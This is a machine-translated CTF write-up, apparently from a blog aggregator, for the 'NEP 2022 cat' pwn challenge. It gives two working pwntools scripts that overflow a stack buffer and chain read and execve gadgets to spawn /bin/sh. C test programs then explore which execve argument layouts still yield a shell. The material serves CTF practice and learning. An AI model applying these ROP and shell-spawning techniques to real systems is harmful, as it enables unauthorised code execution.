当前位置:网站首页>nep 2022 cat
nep 2022 cat
2022-07-29 01:22:00 【SquirreI7】
I looked at it while fishing
Set up first execve Parameters of
To write execve Of gadget
recycling add esp 0x20 This gadget Replace the commonly used pop 3 reg
As long as you notice the stack lifting operation at the beginning of the function, everything is fine …
ret = 0x08048127
sys_write = 0x08048110
sys_read = 0x080480F0
aGoodLuck = 0x0804B000
addr = 0x0804B000 + 0x500 # binsh's addr
r_w = 0x08048130
add_esp_20__ret = 0x08048190
start = 0x080481A0
execve = 0x08048115
def exp(i):
pl = 0x10 * b'a' + p32(sys_read) + p32(start)
pl+= p32(0) + p32(addr) + p32(len("/bin/sh"))
pl+= p32(addr) + p32(0) + p32(0) # addr store "binsh"'s' addr
gdb.attach(p)
se(pl)
ri()
se(b"/bin/sh")
pl = 0x10 * b'a' + p32(start)
pl+= p32(0)*5 + p32(execve)
# gdb.attach(p)
ri()
se(pl)
pl = 0x10*b'a' + p32(sys_write) + p32(add_esp_20__ret)
pl+= p32(1) + p32(aGoodLuck) + p32(11)
ri()
se(pl)
if __name__=="__main__":
exp(1)
ir()

Official interpretation
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(0) * 3 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
I saw the official wp Just know that you can play like this
Send all data at once Anyway, it's also in the buffer There is no need to send it twice
most important of all execve
Usually it is necessary to construct execve('/bin/sh',NULL,NULL)
But here is execve('/bin/sh',ptr,NULL); *ptr = NULL
Practice has proved execve perform binsh Not necessarily two NULL
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
void *ptr = NULL;
ptr = "squ";
execve("/bin/sh", (char * const*)&ptr, 0);
}
But if argv There are two non NULL Parameter time There will be problems
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
char * const* ptr = NULL;
char * p[] = {
"squ",
// "irrel", You can't get it without the notes shell And if you comment it out, you can get shell
NULL
};
ptr = p;
execve("/bin/sh", ptr, ptr);
}
Take an example
#include <stdio.h>
#include <stdlib.h>
int
main(){
;
printf("Hello \n");
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
char * envp[] = {
"squ",
"irrel",
NULL
};
execve("/bin/ls", argv, NULL);
}
Normally speaking argv The first parameter of should be the name of the task being executed ( conventional
Here, it is deliberately replaced by irrelevant orders Because you can't use
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
therefore execve("/bin/sh",argv,envp) In extreme cases argv The array pointed to can have a member This member is not used It doesn't matter
But no more than two Because the second one is about to be executed however sh No parameters
But it is difficult to find a secondary pointer for this problem
So you just need to argv and envp All the pointers point to NULL that will do You don't need to set all NULL It's much more convenient to solve this problem in this way
( A big man said before execve Of argv and envp Both are needed NULL Let me believe it Sure enough, practice produces true knowledge )
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
gGoodLuck = 0x0804B000
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(binsh + 7) + p32(0) * 2 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
边栏推荐
- Django使用MySQL数据库已经存在的数据表方法
- [notes for question brushing] binary linked list to integer
- Linux Redis 源码安装
- Google play APK uploads other international app stores
- Transfer: cognitive subculture
- This article enables you to understand the underlying principle of MySQL- Internal structure, index, lock, cluster
- 量化交易之数字货币篇 - 生成foot print因子数据
- [Commons lang3 topic] 003- randomstringutils topic
- Letax record \documentclass{}, authoryear attribute is used
- Textkit custom uilabel identification link
猜你喜欢

Flask project architecture (First Edition

Recursion and divide and conquer

Solid smart contract tutorial (5) -nft auction contract

The digitalization of the consumer industry is upgraded to "rigid demand", and weiit's new retail SaaS empowers enterprises!

Thread lock and its ascending and descending levels

C语言300行代码实现扫雷(可展开+可标记+可更改困难级别)

Hilbert 变换与瞬时频率

Error reporting: SQL syntax error in flask. Fields in SQL statements need quotation marks when formatting

【idea】查询字段使用位置

Digital twin rail transit: "intelligent" monitoring to clear the pain points of urban operation
随机推荐
How to create a custom 404 error page in WordPress
This article enables you to understand the underlying principle of MySQL- Internal structure, index, lock, cluster
北京护照西班牙语翻译推荐
Naver 三方登录
Canal实时解析mysql binlog数据实战
递归与分治
ActiveMQ basic details
Bracket matching test
括号匹配的检验
时间复杂度、空间复杂度的学习总结
[Commons lang3 topic] 003- randomstringutils topic
A new generation of ultra safe cellular battery, Sihao aipao, is on the market, starting from 139900
数字孪生轨道交通:“智慧化”监控疏通城市运行痛点
y80.第四章 Prometheus大厂监控体系及实战 -- kube-state-metrics组件介绍和监控扩展(十一)
Oozie工作调度
Digital twin rail transit: "intelligent" monitoring to clear the pain points of urban operation
[Commons lang3 topic] 005- objectutils topic
18张图,直观理解神经网络、流形和拓扑
电子招标初学者指南
Date conversion EEE MMM DD hh:mm:ss zzz YYYY